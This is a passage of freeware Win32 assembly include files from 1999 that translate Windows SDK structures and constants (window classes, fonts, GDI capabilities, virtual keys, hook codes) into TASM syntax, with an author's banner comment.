WFD_dwReserved0 DD ? ;
|
||
WFD_dwReserved1 DD ? ;
|
||
WFD_cFileName DB MAX_PATH DUP(?) ;
|
||
WFD_cAlternateFileName DB 14 DUP(?) ;
|
||
WIN32_FIND_DATA ENDS ;
|
||
|
||
WIN32_FILE_ATTRIBUTE_DATA STRUC ;
|
||
WFAD_dwFileAttributes DD ? ;
|
||
WFAD_ftCreationTime FILETIME ? ;
|
||
WFAD_ftLastAccessTime FILETIME ? ;
|
||
WFAD_ftLastWriteTime FILETIME ? ;
|
||
WFAD_nFileSizeHigh DD ? ;
|
||
WFAD_nFileSizeLow DD ? ;
|
||
WIN32_FILE_ATTRIBUTE_DATA ENDS ;
|
||
|
||
DUPLICATE_CLOSE_SOURCE equ 00000001
|
||
DUPLICATE_SAME_ACCESS equ 00000002
|
||
|
||
|
||
; ³ Misclancellous Structures and Equates ³
|
||
;ÄÄÄÄÄÄ´ as they appear in the Windows.inc ÃÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
|
||
; ³ file from TASM 5.0 include directory. ³
|
||
|
||
; Point
|
||
|
||
POINT struc
|
||
x DD ?
|
||
y DD ?
|
||
POINT ends
|
||
|
||
|
||
; Rectangle
|
||
|
||
RECT struc
|
||
rcLeft UINT ?
|
||
rcTop UINT ?
|
||
rcRight UINT ?
|
||
rcBottom UINT ?
|
||
RECT ends
|
||
|
||
; Window Class structure
|
||
|
||
WNDCLASS struc
|
||
clsStyle UINT ? ; class style
|
||
clsLpfnWndProc ULONG ?
|
||
clsCbClsExtra UINT ?
|
||
clsCbWndExtra UINT ?
|
||
clsHInstance UINT ? ; instance handle
|
||
clsHIcon UINT ? ; class icon handle
|
||
clsHCursor UINT ? ; class cursor handle
|
||
clsHbrBackground UINT ? ; class background brush
|
||
clsLpszMenuName ULONG ? ; menu name
|
||
clsLpszClassName ULONG ? ; far ptr to class name
|
||
WNDCLASS ends
|
||
|
||
STD_WINDOW STRUC
|
||
wcxSize dd ?
|
||
wcxStyle dd ?
|
||
wcxWndProc dd ?
|
||
wcxClsExtra dd ?
|
||
wcxWndExtra dd ?
|
||
wcxInstance dd ?
|
||
wcxIcon dd ?
|
||
wcxCursor dd ?
|
||
wcxBkgndBrush dd ?
|
||
wcxMenuName dd ?
|
||
wcxClassName dd ?
|
||
wcxSmallIcon dd ?
|
||
STD_WINDOW ENDS
|
||
|
||
|
||
PAINTSTRUCT STRUC
|
||
PShdc UINT ?
|
||
PSfErase UINT ?
|
||
PSrcPaint UCHAR size RECT dup(?)
|
||
PSfRestore UINT ?
|
||
PSfIncUpdate UINT ?
|
||
PSrgbReserved UCHAR 16 dup(?)
|
||
PAINTSTRUCT ENDS
|
||
|
||
MSGSTRUCT struc
|
||
msHWND UINT ?
|
||
msMESSAGE UINT ?
|
||
msWPARAM UINT ?
|
||
msLPARAM ULONG ?
|
||
msTIME ULONG ?
|
||
msPT ULONG ?
|
||
MSGSTRUCT ends
|
||
|
||
MINMAXINFO struc
|
||
res_x dd ?
|
||
res_y dd ?
|
||
maxsize_x dd ?
|
||
maxsize_y dd ?
|
||
maxposition_x dd ?
|
||
maxposition_y dd ?
|
||
mintrackposition_x dd ?
|
||
mintrackposition_y dd ?
|
||
maxtrackposition_x dd ?
|
||
maxtrackposition_y dd ?
|
||
MINMAXINFO ends
|
||
|
||
TEXTMETRIC struc
|
||
tmHeight dw ?
|
||
tmAscent dw ?
|
||
tmDescent dw ?
|
||
tmIntLeading dw ?
|
||
tmExtLeading dw ?
|
||
tmAveCharWidth dw ?
|
||
tmMaxCharWidth dw ?
|
||
tmWeight dw ?
|
||
tmItalic db ?
|
||
tmUnderlined db ?
|
||
tmStruckOut db ?
|
||
tmFirstChar db ?
|
||
tmLastChar db ?
|
||
tmDefaultChar db ?
|
||
tmBreakChar db ?
|
||
tmPitch db ?
|
||
tmCharSet db ?
|
||
tmOverhang dw ?
|
||
tmAspectX dw ?
|
||
tmAspectY dw ?
|
||
TEXTMETRIC ends
|
||
|
||
LF_FACESIZE EQU 32
|
||
|
||
LOGFONT struc
|
||
lfHeight dw ?
|
||
lfWidth dw ?
|
||
lfEscapement dw ?
|
||
lfOrientation dw ?
|
||
lfWeight dw ?
|
||
lfItalic db ?
|
||
lfUnderline db ?
|
||
lfStrikeOut db ?
|
||
lfCharSet db ?
|
||
lfOutPrecision db ?
|
||
lfClipPrecision db ?
|
||
lfQuality db ?
|
||
lfPitchAndFamily db ?
|
||
lfFaceName db LF_FACESIZE dup(?)
|
||
LOGFONT ends
|
||
|
||
LOGBRUSH struc
|
||
lbStyle dw ?
|
||
lbColor dd ?
|
||
lbHatch dw ?
|
||
LOGBRUSH ends
|
||
|
||
; Text Drawing modes
|
||
|
||
TRANSPARENT = 1
|
||
OPAQUE = 2
|
||
|
||
; Mapping Modes
|
||
|
||
MM_TEXT = 1
|
||
MM_LOMETRIC = 2
|
||
MM_HIMETRIC = 3
|
||
MM_LOENGLISH = 4
|
||
MM_HIENGLISH = 5
|
||
MM_TWIPS = 6
|
||
MM_ISOTROPIC = 7
|
||
MM_ANISOTROPIC = 8
|
||
|
||
; Coordinate Modes
|
||
|
||
ABSOLUTE = 1
|
||
RELATIVE = 2
|
||
|
||
; Stock Logical Objects
|
||
|
||
WHITE_BRUSH = 0
|
||
LTGRAY_BRUSH = 1
|
||
GRAY_BRUSH = 2
|
||
DKGRAY_BRUSH = 3
|
||
BLACK_BRUSH = 4
|
||
NULL_BRUSH = 5
|
||
HOLLOW_BRUSH = 5
|
||
WHITE_PEN = 6
|
||
BLACK_PEN = 7
|
||
NULL_PEN = 8
|
||
DOT_MARKER = 9
|
||
OEM_FIXED_FONT = 10
|
||
ANSI_FIXED_FONT = 11
|
||
ANSI_VAR_FONT = 12
|
||
SYSTEM_FONT = 13
|
||
DEVICE_DEFAULT_FONT = 14
|
||
DEFAULT_PALETTE = 15
|
||
SYSTEM_FIXED_FONT = 16
|
||
|
||
; Brush Styles
|
||
|
||
BS_SOLID = 0
|
||
BS_NULL = 1
|
||
BS_HOLLOW = BS_NULL
|
||
BS_HATCHED = 2
|
||
BS_PATTERN = 3
|
||
BS_INDEXED = 4
|
||
BS_DIBPATTERN = 5
|
||
|
||
; Hatch Styles
|
||
|
||
HS_HORIZONTAL = 0 ; -----
|
||
HS_VERTICAL = 1 ; |||||
|
||
HS_FDIAGONAL = 2 ; \\\\\
|
||
HS_BDIAGONAL = 3 ; /////
|
||
HS_CROSS = 4 ; +++++
|
||
HS_DIAGCROSS = 5 ; xxxxx
|
||
|
||
; Pen Styles
|
||
|
||
PS_SOLID = 0
|
||
PS_DASH = 1 ; -------
|
||
PS_DOT = 2 ; .......
|
||
PS_DASHDOT = 3 ; _._._._
|
||
PS_DASHDOTDOT = 4 ; _.._.._
|
||
PS_NULL = 5
|
||
PS_INSIDEFRAME = 6
|
||
|
||
; Device Parameters for GetDeviceCaps()
|
||
|
||
DRIVERVERSION =0 ; Device driver version
|
||
TECHNOLOGY =2 ; Device classification
|
||
HORZSIZE =4 ; Horizontal size in millimeters
|
||
VERTSIZE =6 ; Vertical size in millimeters
|
||
HORZRES =8 ; Horizontal width in pixels
|
||
VERTRES =10 ; Vertical width in pixels
|
||
BITSPIXEL =12 ; Number of bits per pixel
|
||
PLANES =14 ; Number of planes
|
||
NUMBRUSHES =16 ; Number of brushes the device has
|
||
NUMPENS =18 ; Number of pens the device has
|
||
NUMMARKERS =20 ; Number of markers the device has
|
||
NUMFONTS =22 ; Number of fonts the device has
|
||
NUMCOLORS =24 ; Number of colors the device supports
|
||
PDEVICESIZE =26 ; Size required for device descriptor
|
||
CURVECAPS =28 ; Curve capabilities
|
||
LINECAPS =30 ; Line capabilities
|
||
POLYGONALCAPS =32 ; Polygonal capabilities
|
||
TEXTCAPS =34 ; Text capabilities
|
||
CLIPCAPS =36 ; Clipping capabilities
|
||
RASTERCAPS =38 ; Bitblt capabilities
|
||
ASPECTX =40 ; Length of the X leg
|
||
ASPECTY =42 ; Length of the Y leg
|
||
ASPECTXY =44 ; Length of the hypotenuse
|
||
|
||
LOGPIXELSX =88 ; Logical pixels/inch in X
|
||
LOGPIXELSY =90 ; Logical pixels/inch in Y
|
||
|
||
SIZEPALETTE =104 ; Number of entries in physical palette
|
||
NUMRESERVED =106 ; Number of reserved entries in palette
|
||
COLORRES =108 ; Actual color resolution
|
||
|
||
; Device Capability Masks:
|
||
|
||
; Device Technologies
|
||
DT_PLOTTER = 0 ; Vector plotter
|
||
DT_RASDISPLAY = 1 ; Raster display
|
||
DT_RASPRINTER = 2 ; Raster printer
|
||
DT_RASCAMERA = 3 ; Raster camera
|
||
DT_CHARSTREAM = 4 ; Character-stream, PLP
|
||
DT_METAFILE = 5 ; Metafile, VDM
|
||
DT_DISPFILE = 6 ; Display-file
|
||
|
||
; Curve Capabilities
|
||
|
||
CC_NONE = 0 ; Curves not supported
|
||
CC_CIRCLES = 1 ; Can do circles
|
||
CC_PIE = 2 ; Can do pie wedges
|
||
CC_CHORD = 4 ; Can do chord arcs
|
||
CC_ELLIPSES = 8 ; Can do ellipese
|
||
CC_WIDE = 16 ; Can do wide lines
|
||
CC_STYLED = 32 ; Can do styled lines
|
||
CC_WIDESTYLED = 64 ; Can do wide styled lines
|
||
CC_INTERIORS = 128; Can do interiors
|
||
|
||
; Line Capabilities
|
||
|
||
LC_NONE = 0 ; Lines not supported
|
||
LC_POLYLINE = 2 ; Can do polylines
|
||
LC_MARKER = 4 ; Can do markers
|
||
LC_POLYMARKER = 8 ; Can do polymarkers
|
||
LC_WIDE = 16 ; Can do wide lines
|
||
LC_STYLED = 32 ; Can do styled lines
|
||
LC_WIDESTYLED = 64 ; Can do wide styled lines
|
||
LC_INTERIORS = 128; Can do interiors
|
||
|
||
; Polygonal Capabilities
|
||
|
||
PC_NONE = 0 ; Polygonals not supported
|
||
PC_POLYGON = 1 ; Can do polygons
|
||
PC_RECTANGLE = 2 ; Can do rectangles
|
||
PC_WINDPOLYGON = 4 ; Can do winding polygons
|
||
PC_TRAPEZOID = 4 ; Can do trapezoids
|
||
PC_SCANLINE = 8 ; Can do scanlines
|
||
PC_WIDE = 16 ; Can do wide borders
|
||
PC_STYLED = 32 ; Can do styled borders
|
||
PC_WIDESTYLED = 64 ; Can do wide styled borders
|
||
PC_INTERIORS = 128; Can do interiors
|
||
|
||
; Polygonal Capabilities
|
||
|
||
CP_NONE = 0 ; No clipping of output
|
||
CP_RECTANGLE = 1 ; Output clipped to rects
|
||
|
||
; Text Capabilities
|
||
|
||
TC_OP_CHARACTER = 0001h ; Can do OutputPrecision CHARACTER
|
||
TC_OP_STROKE = 0002h ; Can do OutputPrecision STROKE
|
||
TC_CP_STROKE = 0004h ; Can do ClipPrecision STROKE
|
||
TC_CR_90 = 0008h ; Can do CharRotAbility 90
|
||
TC_CR_ANY = 0010h ; Can do CharRotAbility ANY
|
||
TC_SF_X_YINDEP = 0020h ; Can do ScaleFreedom X_YINDEPENDENT
|
||
TC_SA_DOUBLE = 0040h ; Can do ScaleAbility DOUBLE
|
||
TC_SA_INTEGER = 0080h ; Can do ScaleAbility INTEGER
|
||
TC_SA_CONTIN = 0100h ; Can do ScaleAbility CONTINUOUS
|
||
TC_EA_DOUBLE = 0200h ; Can do EmboldenAbility DOUBLE
|
||
TC_IA_ABLE = 0400h ; Can do ItalisizeAbility ABLE
|
||
TC_UA_ABLE = 0800h ; Can do UnderlineAbility ABLE
|
||
TC_SO_ABLE = 1000h ; Can do StrikeOutAbility ABLE
|
||
TC_RA_ABLE = 2000h ; Can do RasterFontAble ABLE
|
||
TC_VA_ABLE = 4000h ; Can do VectorFontAble ABLE
|
||
TC_RESERVED = 8000h
|
||
|
||
; Raster Capabilities
|
||
|
||
RC_BITBLT = 1 ; Can do standard BLT.
|
||
RC_BANDING = 2 ; Device requires banding support
|
||
RC_SCALING = 4 ; Device requires scaling support
|
||
RC_BITMAP64 = 8 ; Device can support >64K bitmap
|
||
RC_GDI20_OUTPUT = 0010h ; has 2.0 output calls
|
||
RC_DI_BITMAP = 0080h ; supports DIB to memory
|
||
RC_PALETTE = 0100h ; supports a palette
|
||
RC_DIBTODEV = 0200h ; supports DIBitsToDevice
|
||
RC_BIGFONT = 0400h ; supports >64K fonts
|
||
RC_STRETCHBLT = 0800h ; supports StretchBlt
|
||
RC_FLOODFILL = 1000h ; supports FloodFill
|
||
RC_STRETCHDIB = 2000h ; supports StretchDIBits
|
||
|
||
; palette entry flags
|
||
|
||
PC_RESERVED = 1 ; palette index used for animation
|
||
PC_EXPLICIT = 2 ; palette index is explicit to device
|
||
PC_NOCOLLAPSE = 4 ; do not match color to system palette
|
||
|
||
; DIB color table identifiers
|
||
|
||
DIB_RGB_COLORS = 0 ; color table in RGBTriples
|
||
DIB_PAL_COLORS = 1 ; color table in palette indices
|
||
|
||
;constants for Get/SetSystemPaletteUse()
|
||
|
||
SYSPAL_STATIC = 1
|
||
SYSPAL_NOSTATIC = 2
|
||
|
||
; constants for CreateDIBitmap
|
||
|
||
CBM_INIT = 4 ; initialize bitmap
|
||
|
||
; Bitmap format constants
|
||
|
||
BI_RGB = 0
|
||
BI_RLE8 = 1
|
||
BI_RLE4 = 2
|
||
|
||
ANSI_CHARSET = 0
|
||
SYMBOL_CHARSET = 2
|
||
OEM_CHARSET = 255
|
||
|
||
; styles for CombineRgn
|
||
|
||
RGN_AND = 1
|
||
RGN_OR = 2
|
||
RGN_XOR = 3
|
||
RGN_DIFF = 4
|
||
RGN_COPY = 5
|
||
|
||
;ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ´ END OF FILE ÃÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
|
||
|
||
; wasn't it obvious ? ;-)
|
||
ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ[W32NT_LJ.INC]ÄÄÄ
|
||
ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ[W32US_LJ.INC]ÄÄÄ
|
||
comment $
|
||
|
||
Lord Julus presents the Win32 help series
|
||
|
||
ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿
|
||
ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÙ
|
||
ÚÄ¿ ÚÄ¿
|
||
³ ³ This is my transformation of the original WINUSER.H ³ ³
|
||
³ ³ file from the Microsoft Windows SDK(C) for Windows NT 5.0 ³ ³
|
||
³ ³ beta 2 and Windows 98, released on in Sept. 1998. ³ ³
|
||
³ ³ This file was transformed by me from the original C ³ ³
|
||
³ ³ definition into assembly language. You can use this file to ³ ³
|
||
³ ³ quicken up writting your win32 programs in assembler. You ³ ³
|
||
³ ³ can use these files as you wish, as they are freeware. ³ ³
|
||
³ ³ ³ ³
|
||
³ ³ However, if you find any mistake inside this file, ³ ³
|
||
³ ³ it is probably due to the fact that I merely could see the ³ ³
|
||
³ ³ monitor while converting the files. So, if you do notice ³ ³
|
||
³ ³ something, please notify me on my e-mail address at: ³ ³
|
||
³ ³ ³ ³
|
||
³ ³ lordjulus@geocities.com ³ ³
|
||
³ ³ ³ ³
|
||
³ ³ Also, if you find any other useful stuff that can be ³ ³
|
||
³ ³ included here, do not hesitate to tell me. ³ ³
|
||
³ ³ ³ ³
|
||
³ ³ Good luck, ³ ³
|
||
³ ³ ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿ ³ ³
|
||
³ ³ ³ Lord Julus (c) 1999 ³ ³ ³
|
||
³ ³ ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÙ ³ ³
|
||
³ ³ ³ ³
|
||
ÀÄÙ ÀÄÙ
|
||
ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿
|
||
ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÙ
|
||
|
||
$
|
||
|
||
; Predefined Resource Types
|
||
|
||
RESOURCE_CONNECTED EQU 00000001h
|
||
RESOURCE_GLOBALNET EQU 00000002h
|
||
RESOURCE_REMEMBERED EQU 00000003h
|
||
RESOURCE_RECENT EQU 00000004h
|
||
RESOURCE_CONTEXT EQU 00000005h
|
||
|
||
RESOURCETYPE_ANY EQU 00000000h
|
||
RESOURCETYPE_DISK EQU 00000001h
|
||
RESOURCETYPE_PRINT EQU 00000002h
|
||
RESOURCETYPE_RESERVED EQU 00000008h
|
||
RESOURCETYPE_UNKNOWN EQU 0FFFFFFFFh
|
||
|
||
RESOURCEUSAGE_CONNECTABLE EQU 00000001h
|
||
RESOURCEUSAGE_CONTAINER EQU 00000002h
|
||
RESOURCEUSAGE_NOLOCALDEVICE EQU 00000004h
|
||
RESOURCEUSAGE_SIBLING EQU 00000008h
|
||
RESOURCEUSAGE_ATTACHED EQU 00000010h
|
||
RESOURCEUSAGE_ALL EQU RESOURCEUSAGE_CONNECTABLE OR\
|
||
RESOURCEUSAGE_CONTAINER OR\
|
||
RESOURCEUSAGE_ATTACHED
|
||
RESOURCEUSAGE_RESERVED EQU 80000000h
|
||
|
||
RESOURCEDISPLAYTYPE_GENERIC EQU 00000000h
|
||
RESOURCEDISPLAYTYPE_DOMAIN EQU 00000001h
|
||
RESOURCEDISPLAYTYPE_SERVER EQU 00000002h
|
||
RESOURCEDISPLAYTYPE_SHARE EQU 00000003h
|
||
RESOURCEDISPLAYTYPE_FILE EQU 00000004h
|
||
RESOURCEDISPLAYTYPE_GROUP EQU 00000005h
|
||
RESOURCEDISPLAYTYPE_NETWORK EQU 00000006h
|
||
RESOURCEDISPLAYTYPE_ROOT EQU 00000007h
|
||
RESOURCEDISPLAYTYPE_SHAREADMIN EQU 00000008h
|
||
RESOURCEDISPLAYTYPE_DIRECTORY EQU 00000009h
|
||
RESOURCEDISPLAYTYPE_TREE EQU 0000000Ah
|
||
RESOURCEDISPLAYTYPE_NDSCONTAINER EQU 0000000Bh
|
||
|
||
NETRESOURCEA STRUC
|
||
dwScope DD 0
|
||
dwType DD 0
|
||
dwDisplayType DD 0
|
||
dwUsage DD 0
|
||
lpLocalName DD 0
|
||
lpRemoteName DD 0
|
||
lpComment DD 0
|
||
lpProvider DD 0
|
||
NETRESOURCEA ENDS
|
||
|
||
;---
|
||
|
||
|
||
RT_CURSOR EQU 1
|
||
RT_BITMAP EQU 2
|
||
RT_ICON EQU 3
|
||
RT_MENU EQU 4
|
||
RT_DIALOG EQU 5
|
||
RT_STRING EQU 6
|
||
RT_FONTDIR EQU 7
|
||
RT_FONT EQU 8
|
||
RT_ACCELERATOR EQU 9
|
||
RT_RCDATA EQU 10
|
||
RT_MESSAGETABLE EQU 11
|
||
DIFFERENCE EQU 11
|
||
RT_GROUP_CURSOR EQU RT_CURSOR + DIFFERENCE
|
||
RT_GROUP_ICON EQU RT_ICON + DIFFERENCE
|
||
RT_VERSION EQU 16
|
||
RT_DLGINCLUDE EQU 17
|
||
RT_PLUGPLAY EQU 19
|
||
RT_VXD EQU 20
|
||
RT_ANICURSOR EQU 21
|
||
RT_ANIICON EQU 22
|
||
RT_HTML EQU 23
|
||
|
||
; Scroll Bar Constants
|
||
|
||
SB_HORZ EQU 0
|
||
SB_VERT EQU 1
|
||
SB_CTL EQU 2
|
||
SB_BOTH EQU 3
|
||
SB_LINEUP EQU 0
|
||
SB_LINELEFT EQU 0
|
||
SB_LINEDOWN EQU 1
|
||
SB_LINERIGHT EQU 1
|
||
SB_PAGEUP EQU 2
|
||
SB_PAGELEFT EQU 2
|
||
SB_PAGEDOWN EQU 3
|
||
SB_PAGERIGHT EQU 3
|
||
SB_THUMBPOSITION EQU 4
|
||
SB_THUMBTRACK EQU 5
|
||
SB_TOP EQU 6
|
||
SB_LEFT EQU 6
|
||
SB_BOTTOM EQU 7
|
||
SB_RIGHT EQU 7
|
||
SB_ENDSCROLL EQU 8
|
||
|
||
; ShowWindow() Commands
|
||
|
||
SW_HIDE EQU 0
|
||
SW_SHOWNORMAL EQU 1
|
||
SW_NORMAL EQU 1
|
||
SW_SHOWMINIMIZED EQU 2
|
||
SW_SHOWMAXIMIZED EQU 3
|
||
SW_MAXIMIZE EQU 3
|
||
SW_SHOWNOACTIVATE EQU 4
|
||
SW_SHOW EQU 5
|
||
SW_MINIMIZE EQU 6
|
||
SW_SHOWMINNOACTIVE EQU 7
|
||
SW_SHOWNA EQU 8
|
||
SW_RESTORE EQU 9
|
||
SW_SHOWDEFAULT EQU 10
|
||
SW_FORCEMINIMIZE EQU 11
|
||
SW_MAX EQU 11
|
||
|
||
; Old ShowWindow() Commands
|
||
|
||
HIDE_WINDOW EQU 0
|
||
SHOW_OPENWINDOW EQU 1
|
||
SHOW_ICONWINDOW EQU 2
|
||
SHOW_FULLSCREEN EQU 3
|
||
SHOW_OPENNOACTIVATE EQU 4
|
||
|
||
; Identifiers for the WM_SHOWWINDOW message
|
||
|
||
SW_PARENTCLOSING EQU 1
|
||
SW_OTHERZOOM EQU 2
|
||
SW_PARENTOPENING EQU 3
|
||
SW_OTHERUNZOOM EQU 4
|
||
|
||
; AnimateWindow() Commands
|
||
|
||
AW_HOR_POSITIVE EQU 00000001h
|
||
AW_HOR_NEGATIVE EQU 00000002h
|
||
AW_VER_POSITIVE EQU 00000004h
|
||
AW_VER_NEGATIVE EQU 00000008h
|
||
AW_CENTER EQU 00000010h
|
||
AW_HIDE EQU 00010000h
|
||
AW_ACTIVATE EQU 00020000h
|
||
AW_SLIDE EQU 00040000h
|
||
AW_BLEND EQU 00080000h
|
||
|
||
; WM_KEYUP/DOWN/CHAR HIWORD(lParam) flags
|
||
|
||
KF_EXTENDED EQU 0100h
|
||
KF_DLGMODE EQU 0800h
|
||
KF_MENUMODE EQU 1000h
|
||
KF_ALTDOWN EQU 2000h
|
||
KF_REPEAT EQU 4000h
|
||
KF_UP EQU 8000h
|
||
|
||
; Virtual Keys, Standard Set
|
||
|
||
VK_LBUTTON EQU 01h
|
||
VK_RBUTTON EQU 02h
|
||
VK_CANCEL EQU 03h
|
||
VK_MBUTTON EQU 04h
|
||
VK_BACK EQU 08h
|
||
VK_TAB EQU 09h
|
||
VK_CLEAR EQU 0Ch
|
||
VK_RETURN EQU 0Dh
|
||
VK_SHIFT EQU 10h
|
||
VK_CONTROL EQU 11h
|
||
VK_MENU EQU 12h
|
||
VK_PAUSE EQU 13h
|
||
VK_CAPITAL EQU 14h
|
||
VK_KANA EQU 15h
|
||
VK_HANGEUL EQU 15h
|
||
VK_HANGUL EQU 15h
|
||
VK_JUNJA EQU 17h
|
||
VK_FINAL EQU 18h
|
||
VK_HANJA EQU 19h
|
||
VK_KANJI EQU 19h
|
||
VK_ESCAPE EQU 1Bh
|
||
VK_CONVERT EQU 1Ch
|
||
VK_NONCONVERT EQU 1Dh
|
||
VK_ACCEPT EQU 1Eh
|
||
VK_MODECHANGE EQU 1Fh
|
||
VK_SPACE EQU 20h
|
||
VK_PRIOR EQU 21h
|
||
VK_NEXT EQU 22h
|
||
VK_END EQU 23h
|
||
VK_HOME EQU 24h
|
||
VK_LEFT EQU 25h
|
||
VK_UP EQU 26h
|
||
VK_RIGHT EQU 27h
|
||
VK_DOWN EQU 28h
|
||
VK_SELECT EQU 29h
|
||
VK_PRINT EQU 2Ah
|
||
VK_EXECUTE EQU 2Bh
|
||
VK_SNAPSHOT EQU 2Ch
|
||
VK_INSERT EQU 2Dh
|
||
VK_DELETE EQU 2Eh
|
||
VK_HELP EQU 2Fh
|
||
VK_0 EQU '0'
|
||
VK_1 EQU '1'
|
||
VK_2 EQU '2'
|
||
VK_3 EQU '3'
|
||
VK_4 EQU '4'
|
||
VK_5 EQU '5'
|
||
VK_6 EQU '6'
|
||
VK_7 EQU '7'
|
||
VK_8 EQU '8'
|
||
VK_9 EQU '9'
|
||
VK_A EQU 'A'
|
||
VK_B EQU 'B'
|
||
VK_C EQU 'C'
|
||
VK_D EQU 'D'
|
||
VK_E EQU 'E'
|
||
VK_F EQU 'F'
|
||
VK_G EQU 'G'
|
||
VK_H EQU 'H'
|
||
VK_I EQU 'I'
|
||
VK_J EQU 'J'
|
||
VK_K EQU 'K'
|
||
VK_L EQU 'L'
|
||
VK_M EQU 'M'
|
||
VK_N EQU 'N'
|
||
VK_O EQU 'O'
|
||
VK_P EQU 'P'
|
||
VK_Q EQU 'Q'
|
||
VK_R EQU 'R'
|
||
VK_S EQU 'S'
|
||
VK_T EQU 'T'
|
||
VK_U EQU 'U'
|
||
VK_V EQU 'V'
|
||
VK_W EQU 'W'
|
||
VK_X EQU 'X'
|
||
VK_Y EQU 'Y'
|
||
VK_Z EQU 'Z'
|
||
VK_LWIN EQU 5Bh
|
||
VK_RWIN EQU 5Ch
|
||
VK_APPS EQU 5Dh
|
||
VK_NUMPAD0 EQU 60h
|
||
VK_NUMPAD1 EQU 61h
|
||
VK_NUMPAD2 EQU 62h
|
||
VK_NUMPAD3 EQU 63h
|
||
VK_NUMPAD4 EQU 64h
|
||
VK_NUMPAD5 EQU 65h
|
||
VK_NUMPAD6 EQU 66h
|
||
VK_NUMPAD7 EQU 67h
|
||
VK_NUMPAD8 EQU 68h
|
||
VK_NUMPAD9 EQU 69h
|
||
VK_MULTIPLY EQU 6Ah
|
||
VK_ADD EQU 6Bh
|
||
VK_SEPARATOR EQU 6Ch
|
||
VK_SUBTRACT EQU 6Dh
|
||
VK_DECIMAL EQU 6Eh
|
||
VK_DIVIDE EQU 6Fh
|
||
VK_F1 EQU 70h
|
||
VK_F2 EQU 71h
|
||
VK_F3 EQU 72h
|
||
VK_F4 EQU 73h
|
||
VK_F5 EQU 74h
|
||
VK_F6 EQU 75h
|
||
VK_F7 EQU 76h
|
||
VK_F8 EQU 77h
|
||
VK_F9 EQU 78h
|
||
VK_F10 EQU 79h
|
||
VK_F11 EQU 7Ah
|
||
VK_F12 EQU 7Bh
|
||
VK_F13 EQU 7Ch
|
||
VK_F14 EQU 7Dh
|
||
VK_F15 EQU 7Eh
|
||
VK_F16 EQU 7Fh
|
||
VK_F17 EQU 80h
|
||
VK_F18 EQU 81h
|
||
VK_F19 EQU 82h
|
||
VK_F20 EQU 83h
|
||
VK_F21 EQU 84h
|
||
VK_F22 EQU 85h
|
||
VK_F23 EQU 86h
|
||
VK_F24 EQU 87h
|
||
VK_NUMLOCK EQU 90h
|
||
VK_SCROLL EQU 91h
|
||
VK_LSHIFT EQU A0h
|
||
VK_RSHIFT EQU A1h
|
||
VK_LCONTROL EQU A2h
|
||
VK_RCONTROL EQU A3h
|
||
VK_LMENU EQU A4h
|
||
VK_RMENU EQU A5h
|
||
VK_ATTN EQU F6h
|
||
VK_CRSEL EQU F7h
|
||
VK_EXSEL EQU F8h
|
||
VK_EREOF EQU F9h
|
||
VK_PLAY EQU FAh
|
||
VK_ZOOM EQU FBh
|
||
VK_NONAME EQU FCh
|
||
VK_PA1 EQU FDh
|
||
VK_OEM_CLEAR EQU FEh
|
||
|
||
; SetWindowsHook() codes
|
||
|
||
WH_MIN EQU -1
|
||
WH_MSGFILTER EQU -1
|
||
WH_JOURNALRECORD EQU 0
|
||
WH_JOURNALPLAYBACK EQU 1
|
||
WH_KEYBOARD EQU 2
|
||
WH_GETMESSAGE EQU 3
|
||
WH_CALLWNDPROC EQU 4
|
||
WH_CBT EQU 5
|
||
WH_SYSMSGFILTER EQU 6
|
||
WH_MOUSE EQU 7
|
||
WH_HARDWARE EQU 8
|
||
WH_DEBUG EQU 9
|
||
WH_SHELL EQU 10
|
||
WH_FOREGROUNDIDLE EQU 11
|
||
WH_CALLWNDPROCRET EQU 12
|
||
WH_KEYBOARD_LL EQU 13
|
||
WH_MOUSE_LL EQU 14
|
||
WH_MAX EQU 14
|
||
|
||
WH_MINHOOK EQU WH_MIN
|
||
WH_MAXHOOK EQU WH_MAX
|
||
|
||
; Hook Codes
|
||
|
||
HC_ACTION EQU 0
|
||
HC_GETNEXT EQU 1
|
||
HC_SKIP EQU 2
|
||
HC_NOREMOVE EQU 3
|
||
HC_NOREM EQU HC_NOREMOVE
|
||
HC_SYSMODALON EQU 4
|
||
HC_SYSMODALOFF EQU 5
|
||
|
||
; CBT Hook Codes
|
||
|
||
HCBT_MOVESIZE EQU 0
|
||
HCBT_MINMAX EQU 1
